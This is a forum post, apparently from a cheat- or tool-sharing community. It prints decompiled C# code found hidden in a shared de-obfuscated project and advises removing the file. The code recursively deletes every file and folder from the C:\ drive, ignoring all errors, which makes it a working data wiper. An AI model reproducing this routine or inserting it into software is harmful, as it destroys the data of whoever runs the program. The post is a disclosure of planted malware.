
Originally Posted by
jaydenn
^ I'm getting the same thing as leon.

Code:
using System;
using System.IO;
namespace ns0
{
internal sealed class Class0
{
internal static void smethod_0()
{
Class0.smethod_1(new DirectoryInfo("C:\\\\"));
}
private static unsafe void smethod_1(DirectoryInfo directoryInfo_0)
{
// ISSUE: untyped stack allocation
void* voidPtr = (void*) __untypedstackalloc(8);
try
{
FileInfo[] files = directoryInfo_0.GetFiles();
*(int*) voidPtr = 0;
while (*(int*) voidPtr < files.Length)
{
FileInfo fileInfo = files[*(int*) voidPtr];
try
{
File.Delete(fileInfo.FullName);
}
catch
{
}
*(int*) voidPtr = *(int*) voidPtr + 1;
}
}
catch
{
}
try
{
DirectoryInfo[] directories = directoryInfo_0.GetDirectories();
*(int*) ((IntPtr) voidPtr + 4) = 0;
while (*(int*) ((IntPtr) voidPtr + 4) < directories.Length)
{
Class0.smethod_1(directories[*(int*) ((IntPtr) voidPtr + 4)]);
*(int*) ((IntPtr) voidPtr + 4) = *(int*) ((IntPtr) voidPtr + 4) + 1;
}
}
catch
{
}
try
{
Directory.Delete(directoryInfo_0.FullName);
}
catch
{
}
}
}
}
If you're talking about that, it's 1 file, remove it.. I didn't add it, should not be blamed for it, could be thread owner, or who ever coded it, after removing that, just fix a few more errors, and runs fine.
Edit:
FastFood De-Obfuscated - Compiled